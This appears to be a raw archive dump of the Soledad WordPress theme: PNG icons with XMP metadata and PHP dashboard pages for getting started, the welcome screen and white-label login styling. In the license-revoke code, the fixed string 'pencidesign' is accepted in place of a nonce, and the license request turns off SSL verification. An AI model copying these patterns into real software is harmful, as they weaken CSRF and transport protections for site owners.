   IHDR   P   P      tEXtSoftware Adobe ImageReadyqe<  xiTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c111 79.158325, 2015/09/10-01:10:20        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:798b30b9-59d5-4638-8d32-4f714ac13a90" xmpMM:DocumentID="xmp.did:839CF504008911E6A09CB6A5191CF9F4" xmpMM:InstanceID="xmp.iid:839CF503008911E6A09CB6A5191CF9F4" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:798b30b9-59d5-4638-8d32-4f714ac13a90" stRef:documentID="xmp.did:798b30b9-59d5-4638-8d32-4f714ac13a90"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>G  _IDATx	pTUO7!!}_؃S(N(%!Ią}Hdg
1 
%Sc5@ؒ;k%/اN}~l!H2?5uIYsVI T+?7/)?@vٙYԪ*}Y}Edh
~>"sQF𔗚!^xp+vaAY*Jx }{OQ"40HBEyYP1b: yuᅄ3:0<SK4ر!$dSm%ǝ[<c1!! 潝ku<(̕/>\%ǈ3ɞF^%پ}{jtǎXX6y,vCG6FKrroIS5'	uɋk4tM6m͉ڵkGOޫ(>11^0?-Ã`#_WC.T]dC9iYW[SC.l5{ZDt)r
999IKLHJLcVM0γT׉>";3S*pC>./8`
ѧM!SvmInQx[bN Ϟ	/gAXRxgsט%dY2xyٲγzhփnxCN+fy?̈́YiDsʹj γ*F/ 7}wԃCܫr`>!ޱ#]TP03M7kTSS#1
aCmح_%>=Ng~.JXڹ#
	hm=xB&NׯS۶meg+girG!+/?/N ++;ɸx̟-Ə'V+Ξ=kua,pnI{#+(.ÆY.)z>./kZuiF~z`{wns?<dcKԳgOٙ&O|%bKL0677#M[j+xe,\Hsgϡؚ;v חccIЕ+w;v	Fpm|;yF:w,őźFFFR\8\^P2̰ۢf|~p_E~n8QvӧLq\K#G9txOlٴbn+xl5bћo ?('0]cDrbꫯ]̙S'Mn;|7g޹oRv{A\x	411*5ڵkz|=86~ƌTӧk_7I9%^?A\\8ņ}kt@~'oQAe4Zv-yzy:QnA>-{guj?2*J[|,o#}m\l(+8{ӻOuda/ŉП4џ59!0ʺ\D[7oBܙ'LJfuޝML'O$///ڽk|*\V,}#?#mXN&ԧJM*촆3R6i??@l4tLΝkU؅C[~M)l'ݯ_?|YZcVﯿn^*}r0de}'K(H@]vа0-\qwh\ϊM;FY',"JvηS'*youT_&wwiɶ[iؐ/phC
Fr\_M>vM>F-٫W]xʫ4+)I. QAQ6???*but))r>ImM--HєIWH)"=3TkJHL4ZAD@A(N#Gk[|Mzi,hʚիg
qܐ}?RK	en<?b׉'pçO#)Rw3>bmپW'fKta6ݺI*ëE1M<(=i󖖿O(uG& WX@+JVʕMcMQi-"0#9 "F#-J"x6ue-Ғ$ ^g~I&E&j	/*:6lH#Gjڦ*6҇kP#p_@|zw{doXӣ~<@
&^7C`'wh׭PSEk"n\MvoVϫM<e	jEֹkwJJNxZs	ŋefK5Sb|TW<,}Nppg E038WG(3'h12q ]tI8 W.&:t|Pf\dK3t1Kg5
/A!7>[liJ,E3<^s xł:ڨ0KwG*Ϥ@ww],hlh-QhԘц]Bh%(]VbZcX4E މA,ZX֡5]q[ W^7Ņ:7ro=riOq۱0@hLKrON i4w'h6}:9|D&l h=[cZ: Z<x#SfϡHWǝTYIɜ>y. M4c!-ݍ(Fw ߊOɋMJgE?wmHvnO@D
P\nmkLe5VivhC![n7td?"J{b݅"==hv\YV#hD|}U|ZA*w,N ǀҽ"ZrC     bK9z𬆹=EP1sr2ÍrJ/
~c3h?~f@7}5(eedtFP=<>bLB0&拽l-#_2#e_EMtxDxG|  5G8t[QThmsWލFe3 kd kR g_ +W-eK    IENDB`PK     N\?>  >    inc/dashboard/images/icon.pngnu [        PNG

   IHDR         ;֕J   	pHYs       ;diTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01        ">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
            xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
            xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
            xmlns:xmp="http://ns.adobe.com/xap/1.0/"
            xmlns:dc="http://purl.org/dc/elements/1.1/"
            xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
            xmlns:exif="http://ns.adobe.com/exif/1.0/">
         <xmpMM:OriginalDocumentID>xmp.did:798b30b9-59d5-4638-8d32-4f714ac13a90</xmpMM:OriginalDocumentID>
         <xmpMM:DocumentID>xmp.did:839CF504008911E6A09CB6A5191CF9F4</xmpMM:DocumentID>
         <xmpMM:InstanceID>xmp.iid:2710a897-8d02-cc4c-a32e-b86ca0737902</xmpMM:InstanceID>
         <xmpMM:DerivedFrom rdf:parseType="Resource">
            <stRef:instanceID>xmp.iid:798b30b9-59d5-4638-8d32-4f714ac13a90</stRef:instanceID>
            <stRef:documentID>xmp.did:798b30b9-59d5-4638-8d32-4f714ac13a90</stRef:documentID>
         </xmpMM:DerivedFrom>
         <xmpMM:History>
            <rdf:Seq>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:81aa6b7b-6b8f-0f4d-ac4e-072e6f4db0ad</stEvt:instanceID>
                  <stEvt:when>2017-11-08T15:19:16+07:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 2017 (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:2710a897-8d02-cc4c-a32e-b86ca0737902</stEvt:instanceID>
                  <stEvt:when>2017-11-08T15:20:57+07:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 2017 (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
            </rdf:Seq>
         </xmpMM:History>
         <xmp:CreatorTool>Adobe Photoshop CC 2017 (Windows)</xmp:CreatorTool>
         <xmp:CreateDate>2017-11-08T15:18:48+07:00</xmp:CreateDate>
         <xmp:ModifyDate>2017-11-08T15:20:57+07:00</xmp:ModifyDate>
         <xmp:MetadataDate>2017-11-08T15:20:57+07:00</xmp:MetadataDate>
         <dc:format>image/png</dc:format>
         <photoshop:ColorMode>3</photoshop:ColorMode>
         <tiff:Orientation>1</tiff:Orientation>
         <tiff:XResolution>720000/10000</tiff:XResolution>
         <tiff:YResolution>720000/10000</tiff:YResolution>
         <tiff:ResolutionUnit>2</tiff:ResolutionUnit>
         <exif:ColorSpace>65535</exif:ColorSpace>
         <exif:PixelXDimension>15</exif:PixelXDimension>
         <exif:PixelYDimension>15</exif:PixelYDimension>
      </rdf:Description>
   </rdf:RDF>
</x:xmpmeta>
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                            
<?xpacket end="w"?>Am    cHRM  z%        u0  `  :  o_F  IDATxlKSǿnn;nSp[H`|)-A|AGN4{dtw`^s>_8a<.cT<A0rrj}(Szl0pʱL,Bh4oߴ7]3د800HA?J˧ϰɲ*IRSqt8PW[bzB'hqa8ʫeeDlC4u[~EFte@oVG#Qfd(j=|<9N[8֠SStwpzнAfHz{7jjHtvcUU `0 `4rץ% rtuu;c;f$0|PtXZ%pB!|5EQC<{<c톪HƑ'11>(
$Yt>8[o7B=]skY*'EQĶ>J3att, s0&ȲEjytt8C*ffWs	oC  HBdT,  yI(1~t  BUU2y=2 6I  %K`2 Igj() L{kJ[Oď67q3VCx<E3ԓWp:Pd` WJ]4    IENDB`PK     N\?̑9  9  *  inc/dashboard/sections/getting-started.phpnu [        <?php
/**
 * Getting started section.
 *
 * @package soledad
 */
$theme_data   = wp_get_theme();
$is_child     = false;
$parent_theme = $theme_data->parent();
if ( ! empty( $parent_theme ) ) {
	$is_child = true;
}
$revokelicense = isset( $_GET['penci_revoke_license'] ) ? $_GET['penci_revoke_license'] : '';
$license_nonce = isset( $_GET['revoke_none'] ) ? $_GET['revoke_none'] : '';

if ( ( 'confirm' == $revokelicense ) && ( ( wp_create_nonce( 'revoke_license' ) == $license_nonce ) || 'pencidesign' == $license_nonce ) ) {
	$license_data = get_option( 'penci_soledad_purchased_data' );

	if ( ! empty( $license_data ) ) {
		if ( isset( $license_data['purchase_code'] ) ) {
			$purchased_code = $license_data['purchase_code'];

			$req = wp_remote_post( 'https://license.pencidesign.net/api/revoke', array(
				'headers'     => array(
					'Content-Type' => 'application/json',
				),
				'body'        => wp_json_encode( array(
					'code' => $purchased_code
				) ),
				'data_format' => 'body',
				'sslverify'   => false
			) );

			$body = wp_remote_retrieve_body( $req );
			$res  = json_decode( $body );
			if ( ! empty( $res ) && isset( $res->status ) && $res->status === 'success' ) {
				delete_option( 'penci_soledad_is_activated' );
				delete_option( 'penci_soledad_purchased_data' );
				echo '<span style="display: inline-block; margin-bottom:15px; padding: 3px 10px; border: 1px solid #65b70e; max-width: 330px; background: #67c700; color: #fff; font-size: 16px;">' . __( 'The license for this website has been revoked.', 'soledad' ) . '</span>';
			}
		}
	}
}

if ( isset( $_GET['penci_csync'] ) && $_GET['penci_csync'] == 'parent_to_child' ) {
	global $wp_customize;

	$nonce = isset( $_GET['nonce'] ) ? $_GET['nonce'] : '';

	if ( wp_verify_nonce( $nonce, 'penci_sync_customizer_data' ) ) {

		// Call the customize_save_before action.
		$charset = get_option( 'blog_charset' );
		$mods    = get_theme_mods();
		$data    = array(
			'mods' => $mods ? $mods : array(),
		);

		if ( function_exists( 'wp_get_custom_css_post' ) ) {
			$data['wp_css'] = wp_get_custom_css( 'soledad' );
		}

		// Move it to the current active stylesheet
		if ( function_exists( 'wp_update_custom_css_post' ) && isset( $data['wp_css'] ) && '' !== $data['wp_css'] ) {
			wp_update_custom_css_post( $data['wp_css'] );
		}

		// Call the customize_save action.
		do_action( 'customize_save', $wp_customize );

		// Loop through the mods.
		foreach ( $data['mods'] as $key => $val ) {

			// Call the customize_save_ dynamic action.
			do_action( 'customize_save_' . $key, $wp_customize );

			// Save the mod.
			set_theme_mod( $key, $val );
		}

		// Call the customize_save_after action.
		do_action( 'customize_save_after', $wp_customize );
		set_theme_mod( 'penci_sync_customizer_data', '1' );
	}
}
?>
<h2 class="nav-tab-wrapper">
    <a href="<?php echo admin_url( 'admin.php?page=soledad_dashboard_welcome' ) ?>"
       class="nav-tab nav-tab-active"><?php esc_html_e( 'Getting started', 'soledad' ); ?></a>
    <a href="<?php echo admin_url( 'customize.php' ) ?>"
       class="nav-tab"><?php esc_html_e( 'Customize Style', 'soledad' ); ?></a>
    <a href="<?php echo admin_url( 'admin.php?page=soledad_custom_fonts' ) ?>"
       class="nav-tab"><?php esc_html_e( 'Custom Fonts', 'soledad' ); ?></a>
	<?php if ( function_exists( 'penci_soledad_is_activated' ) && ! penci_soledad_is_activated() ) { ?>
        <a href="<?php echo admin_url( 'admin.php?page=soledad_active_theme' ) ?>"
           class="nav-tab"><?php esc_html_e( 'Active theme', 'soledad' ); ?></a>
	<?php } else if ( penci_soledad_is_activated() && penci_soledad_is_license() ) { ?>
        <a href="<?php echo admin_url( 'admin.php?page=soledad_theme_license' ) ?>"
           class="nav-tab"><?php esc_html_e( 'Theme License', 'soledad' ); ?></a>
	<?php } ?>
    <a href="https://pencidesign.ticksy.com/" target="_blank"
       class="nav-tab"><?php esc_html_e( 'Support Forum', 'soledad' ); ?></a>
</h2>

<div id="getting-started" class="gt-tab-pane gt-is-active penci-dashboard-wapper">
    <div class="feature-section">
        <div class="soledad-install-steps">
            <div class="col">
                <div class="inner-content">
                    <div class="heading-span">Step <span>1</span></div>
                    <div class="heading-icon">
                        <i class="dashicons-before dashicons-admin-plugins"></i>
                    </div>
                    <h3><?php esc_html_e( 'Install & Activate Plugins', 'soledad' ); ?></h3>
                    <p>
						<?php
						/* translators: theme name. */
						echo penci_get_theme_name( 'Soledad' );
						esc_html_e( ' does not require any plugins. All plugins are additional features that you can choose to install and use. Simply install and activate the plugin of your choice. If you want to import a demo, please install and activate the "Penci Soledad Demo Importer" plugin', 'soledad' );
						echo '<br><br>';
						echo esc_html__( 'We recommend checking the theme\'s documentation first to learn how to configure it.', 'soledad' );
						?>
                    </p>
                    <a class="button button-primary"
                       href="https://soledad.pencidesign.net/soledad-document/"
                       target="_blank"><?php esc_html_e( 'View Documentation', 'soledad' ); ?></a>
                    <a class="button button-primary"
                       href="<?php echo esc_url( admin_url( 'themes.php?page=tgmpa-install-plugins' ) ); ?>"
                       target="_blank"><?php esc_html_e( 'Install Plugins', 'soledad' ); ?></a>
                </div>
            </div>
            <div class="col">
                <div class="inner-content">
                    <div class="heading-span">Step <span>2</span></div>
                    <div class="heading-icon">
                        <i class="dashicons-before dashicons-layout"></i>
                    </div>
                    <h3><?php esc_html_e( 'Import Demo Data (Optional)', 'soledad' ); ?></h3>
                    <p><?php _e( '<strong>Important Note:</strong> If your site is a new site with no old posts/pages, you can perform a full import as normal by using the "Import Demo Style" and "Import Demo Content" options. However, if your site has old data such as posts/pages, please only perform an import using the <strong>"Import Demo Style"</strong> option.<br><br>If you receive the message <strong>"Sorry, you are not allowed to access this page"</strong> when clicking to button "Import Demo Now" below, it means that you have not installed or activated the <strong>"Penci Soledad Demo Importer"</strong> plugin. Please go to ', 'soledad' ); ?>
                        <a href="<?php echo esc_url( admin_url( 'themes.php?page=tgmpa-install-plugins' ) ); ?>"
                           target="_blank"><?php _e( 'this page', 'soledad' ); ?></a> <?php _e( 'and do so.', 'soledad' ); ?>
                    </p>
                    <a class="button button-primary"
                       href="<?php echo esc_url( admin_url( 'themes.php?page=import-demo-content' ) ) ?>"
                       target="_blank"><?php esc_html_e( 'Import Demo Now', 'soledad' ); ?></a>
                </div>
            </div>
            <div class="col">
                <div class="inner-content">
                    <div class="heading-span">Step <span>3</span></div>
                    <div class="heading-icon">
                        <i class="dashicons-before dashicons-admin-customizer"></i>
                    </div>
                    <h3><?php esc_html_e( 'Customize The Theme', 'soledad' ); ?></h3>
                    <p><?php esc_html_e( 'By using the WordPress Customizer, you can easily customize every general aspect of the theme.', 'soledad' );
						echo '<br><br>';
						_e( 'If you wish to configure your homepage using Elementor or WPBakery Page Builder plugin, please refer to the <a target="_blank" href="https://soledad.pencidesign.net/soledad-document/#homepage">documentation guide</a> under the "Homepage" section.', 'soledad' ); ?></p>
                    <p>
                        <a href="<?php echo esc_url( admin_url( 'customize.php' ) ); ?>"
                           class="button button-primary"><?php esc_html_e( 'Start Customize', 'soledad' ); ?></a>
                    </p>
					<?php if ( $is_child && ! get_theme_mod( 'penci_sync_customizer_data' ) ):
						$sync_url = add_query_arg( array(
							'penci_csync'  => 'parent_to_child',
							'nonce' => wp_create_nonce( 'penci_sync_customizer_data' )
						), admin_url( 'admin.php?page=soledad_dashboard_welcome' ) );
						?>
                        <div class="penci-dash-customizer-convert">
                            <p style="font-size: 14px;color: #ae0000;font-weight: bold;"><?php _e( 'If you previously customized the parent theme, click the button below to sync those settings to the active child theme. This will resolve style, logo, menu, and other related issues you may encounter.', 'soledad' ); ?></p>
                            <a class="button button-primary"
                               href="<?php echo esc_url( $sync_url ); ?>"><?php _e( 'Sync Customizer Data', 'soledad' ); ?></a>
                        </div>
					<?php endif; ?>
                </div>
            </div>
        </div>
        <div class="soledad-helper-section soledad-install-steps">
            <div class="col">
                <div class="inner-content document">
                    <div class="heading-icon">
                        <i class="dashicons-before dashicons-media-document"></i>
                    </div>
                    <h3><?php esc_html_e( 'Read Full Documentation', 'soledad' ); ?></h3>
                    <p class="about"><?php esc_html_e( 'Need any help setting up and configuring the theme? Please check our full documentation for detailed information on how to use it first.', 'soledad' ); ?></p>
                    <p>
                        <a rel="nofollow" class="button button-primary"
                           href="<?php echo esc_url( 'https://soledad.pencidesign.net/soledad-document/' ); ?>"
                           target="_blank"
                           class="button button-secondary"><?php esc_html_e( 'Read Documentation', 'soledad' ); ?></a>
                    </p>
                </div>
            </div>
            <div class="col">
                <div class="inner-content video">
                    <div class="heading-icon">
                        <i class="dashicons-before dashicons-youtube"></i>
                    </div>
                    <h3><?php esc_html_e( 'Videos tutorial', 'soledad' ); ?></h3>
                    <p><?php echo wp_kses_post( 'We believe that the easiest way to learn is by watching video tutorials. We have a growing library of narrated video tutorials to help you do just that.' ); ?></p>
                    <a class="button button-primary" rel="nofollow"
                       href="https://www.youtube.com/playlist?list=PL1PBMejQ2VTwp9ppl8lTQ9Tq7I3FJTT04"
                       target="_blank"><?php esc_html_e( 'View videos tutorial', 'soledad' ); ?></a>
                </div>
            </div>
			<?php if ( get_option( 'penci_soledad_is_activated' ) ) { ?>
                <div class="col">
                    <div class="inner-content">
                        <div class="heading-icon">
                            <i class="dashicons-before dashicons-admin-network"></i>
                        </div>
                        <h3><?php esc_html_e( 'Revoke License', 'soledad' ); ?></h3>
                        <p>
                            <span style="color: #ff0000; font-weight: bold; font-size: 17px;"><?php _e( 'Note Important: ', 'soledad' ); ?></span><?php _e( 'If you want to use the license on another domain, please revoke the license for this website on ', 'soledad' ); ?>
                            <a href="<?php echo admin_url( 'admin.php?page=soledad_theme_license' ) ?>"><?php _e( 'this page', 'soledad' ); ?></a>
                        </p>
                        <a class="button button-primary"
                           href="<?php echo admin_url( 'admin.php?page=soledad_theme_license' ) ?>"><?php _e( 'Revoke License', 'soledad' ); ?></a>
                    </div>
                </div>
			<?php } ?>
        </div>
    </div>
	<?php if ( ! get_theme_mod( 'activate_white_label' ) ): ?>
        <hr>
        <h3 class="title-more-items"><?php esc_html_e( 'More items by PenciDesign', 'soledad' ) ?></h3>
        <div class="feature-section products three-col">
            <div class="col product">
                <a target="_blank" rel="nofollow" href="<?php echo esc_url( "https://pencidesign.net/" ) ?>"
                   title="<?php echo esc_attr( 'All Themes from PenciDesign' ) ?>">
                    <img class="product__image"
                         src="<?php echo esc_url( PENCI_SOLEDAD_URL . '/inc/dashboard/images/penci.jpg' ) ?>"
                         alt="" width="300" height="150">
                </a>
                <div class="product__body">
                    <h3 class="product__title">
                        <a target="_blank" rel="nofollow" href="<?php echo esc_url( "https://pencidesign.net/" ) ?>"
                           title="<?php echo esc_attr( 'All WordPress Themes from PenciDesign' ) ?>"><?php esc_html_e( 'All WordPress
                            Themes
                            from PenciDesign', 'soledad' ) ?></a>
                    </h3>
                </div>
            </div>
            <div class="col product">
                <a target="_blank" rel="nofollow"
                   href="<?php echo esc_url( "https://themeforest.net/item/pennew-multiconcept-newsmagazine-amp-wordpress-theme/20822517" ) ?>"
                   title="<?php echo esc_attr( 'PenNews' ) ?>">
                    <img class="product__image"
                         src="<?php echo esc_url( PENCI_SOLEDAD_URL . '/inc/dashboard/images/pennews.jpg' ) ?>"
                         alt="" width="300" height="150">
                </a>
                <div class="product__body">
                    <h3 class="product__title">
                        <a target="_blank" rel="nofollow"
                           href="<?php echo esc_url( "https://themeforest.net/item/pennew-multiconcept-newsmagazine-amp-wordpress-theme/20822517" ) ?>"
                           title="<?php echo esc_attr( 'PenNews' ) ?>">PenNews - News/ Magazine/ Business/ Portfolio/
                            Landing AMP WordPress Theme</a>
                    </h3>
                </div>
            </div>
        </div>
	<?php endif; ?>
</div>
PK     N\f    "  inc/dashboard/sections/welcome.phpnu [        <?php
/**
 * Welcome section.
 *
 * @package soledad
 */

$theme_data   = wp_get_theme();
$is_child     = false;
$parent_theme = $theme_data->parent();
if ( ! empty( $parent_theme ) ) {
	$is_child = true;
}

$parent_version = '';
if ( $is_child ) {
	$parent_version = $theme_data->parent()->Version;
}
?>
<h1>
	<?php
	if ( $parent_version ) {
		echo sprintf( __( 'Welcome to %s Child Theme', 'soledad' ), penci_get_theme_name( 'Soledad' ) ) . '<br>';
		echo '<span style="display: block; font-size: 22px; font-weight: 500; margin-top: 10px;">' . esc_html__( sprintf( __( 'Inherit from the %1$s Parent Theme - Version %2$s', 'soledad' ), penci_get_theme_name( 'Soledad' ), $parent_version ) ) . '</span>';
	} else {
		// Translators: %1$s - Theme name, %2$s - Theme version.
		echo esc_html__( sprintf( __( 'Welcome to %1$s - Version %2$s', 'soledad' ), penci_get_theme_name( 'Soledad' ), $theme_data->version ) );
	}
	?>
</h1>
<div class="about-text"><?php echo sprintf( __( "Thank you for purchasing our theme! We're thrilled to have you as a valued customer.<br>You can join other users who love using Soledad to build their websites in <a target='_blank' href='https://www.facebook.com/groups/soledad/'>Soledad Users Group Here</a>. This platform is for sharing, showcasing your work, providing assistance, engaging in discussions, and staying updated.", 'soledad' ), penci_get_theme_author() ); ?>

	<?php
	$admin_wel_page_text = get_theme_mod( 'admin_wel_page_text' );
	if ( $admin_wel_page_text ) {
		echo do_shortcode( wpautop( $admin_wel_page_text ) );
	}
	?>
</div>
<?php if( get_theme_mod('activate_white_label') && ! get_theme_mod('admin_wel_page_author')): ?>
<a rel="nofollow" target="_blank" href="<?php echo esc_url( 'https://pencidesign.net/' ); ?>" class="wp-badge">PenciDesign</a>
<?php endif; ?>
PK     N\׳y=  y=  !  inc/dashboard/inc/white-label.phpnu [        <?php
if ( ! class_exists( 'Penci_White_Lable' ) ) {
	class Penci_White_Lable {
		public function __construct() {

			if ( penci_is_show_white_label_panel() ) {
				add_filter( 'mb_settings_pages', array( $this, 'options_page' ), 999 );
				add_filter( 'rwmb_meta_boxes', array( $this, 'options_meta_boxes' ), 999 );
			}

			add_filter( 'admin_body_class', array( $this, 'add_admin_body_class' ) );
			add_action( 'login_enqueue_scripts', array( $this, 'login_scripts' ) );
		}

		public function add_admin_body_class( $class ) {
			$icon = get_theme_mod( 'admin_wel_page_icon' );

			if ( $icon ) {
				$icon  = str_replace( 'fa ', '', $icon );
				$class .= ' ' . $icon;
			}

			return $class;
		}


		public function login_scripts() {

			if ( ! get_theme_mod( 'activate_white_label' ) ) {
				return;
			}

			$custom_css = '';

			$logo = get_theme_mod( 'admin_login_logo' );
			$logo = isset( $logo[0] ) ? $logo[0] : '';

			$bgimage = get_theme_mod( 'admin_login_bgimage' );
			$bgimage = isset( $bgimage[0] ) ? $bgimage[0] : '';

			$bgcolor = get_theme_mod( 'admin_login_bgcolor' );

			if ( $logo ) {
				$logo_img = wp_get_attachment_image_src( $logo, 'full' );

				$logo_img_url = isset( $logo_img[0] ) ? $logo_img[0] : '';
				$logo_img_w   = $logo_img_h = '';

				$login_logow = get_theme_mod( 'admin_login_logow' );
				$login_logoh = get_theme_mod( 'admin_login_logoh' );

				if ( $login_logow ) {
					$logo_img_w = $login_logow;
				} elseif ( isset( $logo_img[1] ) ) {
					$logo_img_w = $logo_img[1];
				}

				if ( $login_logoh ) {
					$logo_img_h = $login_logoh;
				} elseif ( isset( $logo_img[2] ) ) {
					$logo_img_h = $logo_img[2];
				}

				$custom_css .= '#login h1 a, .login h1 a {';
				$custom_css .= 'background-image: url(' . esc_url( $logo_img_url ) . ');';
				$custom_css .= $logo_img_w ? 'width: ' . esc_attr( $logo_img_w ) . 'px;' : '';
				$custom_css .= $logo_img_h ? 'height: ' . esc_attr( $logo_img_h ) . 'px;' : '';
				$custom_css .= 'background-size: ' . esc_attr( $logo_img_w ) . 'px ' . esc_attr( $logo_img_h ) . 'px;';

				if ( $logo_img_w > 320 ) {
					$custom_css .= 'margin-left:-' . intval( ( $logo_img_w - 320 ) / 2 ) . 'px;';
				}

				$custom_css .= '}';
			}

			if ( $bgimage ) {
				$bgimage_img = wp_get_attachment_image_src( $bgimage, 'full' );
				if ( isset( $bgimage_img[0] ) && $bgimage_img[0] ) {
					$custom_css .= 'body{  background-image: url(' . esc_url( $bgimage_img[0] ) . ') !important;
                    background-size: cover !important;background-position: center center !important;background-repeat: no-repeat !important;background-attachment: fixed !important; }';
				}
			}

			if ( $bgcolor ) {
				$custom_css .= 'body{ background-color:' . $bgcolor . ' !important; }';
			}

			// From
			$flogin_bgimage        = get_theme_mod( 'penci_flogin_bgimage' );
			$flogin_bgcolor        = get_theme_mod( 'penci_flogin_bgcolor' );
			$flogin_padding        = get_theme_mod( 'penci_flogin_padding' );
			$flogin_shadow         = get_theme_mod( 'penci_flogin_shadow' );
			$flogin_field_bg       = get_theme_mod( 'penci_flogin_field_bg' );
			$flogin_field_borcolor = get_theme_mod( 'penci_flogin_field_borcolor' );
			$flogin_field_color    = get_theme_mod( 'penci_flogin_field_color' );
			$flogin_label_color    = get_theme_mod( 'penci_flogin_label_color' );

			$flogin_btn_bgcolor  = get_theme_mod( 'penci_flogin_btn_bgcolor' );
			$flogin_btn_color    = get_theme_mod( 'penci_flogin_btn_color' );
			$flogin_btn_bocolor  = get_theme_mod( 'penci_flogin_btn_bocolor' );
			$flogin_btn_hbgcolor = get_theme_mod( 'penci_flogin_btn_hbgcolor' );
			$flogin_btn_hcolor   = get_theme_mod( 'penci_flogin_btn_hcolor' );
			$flogin_btn_hbocolor = get_theme_mod( 'penci_flogin_btn_hbocolor' );

			$flogin_link_color  = get_theme_mod( 'penci_flogin_link_color' );
			$flogin_link_hcolor = get_theme_mod( 'penci_flogin_link_hcolor' );


			if ( $flogin_bgimage ) {

				$flogin_bgimage    = isset( $flogin_bgimage[0] ) ? $flogin_bgimage[0] : '';
				$flogin_bgimageimg = wp_get_attachment_image_src( $flogin_bgimage, 'full' );

				if ( isset( $flogin_bgimageimg[0] ) && $flogin_bgimageimg[0] ) {
					$custom_css .= '#loginform{  background-image: url(' . esc_url( $flogin_bgimageimg[0] ) . ') !important;
                    background-size: cover !important;background-position: center center !important;background-repeat: no-repeat !important;background-attachment: fixed !important; }';
				}
			}
			if ( $flogin_bgcolor ) {
				$custom_css .= '#loginform{ background-color:' . $flogin_bgcolor . '}';
			}
			if ( $flogin_padding ) {
				$custom_css .= '#loginform{ padding:' . $flogin_padding . '}';
			}
			if ( $flogin_shadow ) {
				$custom_css .= '#loginform{ box-shadow:' . $flogin_shadow . '}';
			}

			// Field
			$flogin_field_css = '';
			if ( $flogin_field_bg ) {
				$flogin_field_css .= 'background-color:' . $flogin_field_bg . ' !important;';
			}
			if ( $flogin_field_borcolor ) {
				$flogin_field_css .= 'border-color:' . $flogin_field_borcolor . ' !important;';
			}
			if ( $flogin_field_color ) {
				$flogin_field_css .= 'color:' . $flogin_field_color . ' !important;';
			}
			if ( $flogin_field_css ) {
				$custom_css .= '.login form .input, .login input[type="text"]{ ' . $flogin_field_css . '}';
			}


			if ( $flogin_label_color ) {
				$custom_css .= '.login #loginform label{ color:' . $flogin_label_color . '}';
			}

			// Button
			$flogin_btn_css = '';
			if ( $flogin_btn_bgcolor ) {
				$flogin_btn_css .= 'background-color:' . $flogin_btn_bgcolor . ';';
			}
			if ( $flogin_btn_color ) {
				$flogin_btn_css .= 'color:' . $flogin_btn_color . ';';
			}
			if ( $flogin_btn_bocolor ) {
				$flogin_btn_css .= 'border-color:' . $flogin_btn_bocolor . ';';
			}
			if ( $flogin_btn_css ) {
				$custom_css .= '.wp-core-ui #loginform .button-primary{ ' . $flogin_btn_css . 'text-shadow: none; box-shadow:none; }';
			}

			$flogin_btn_hover_css = '';
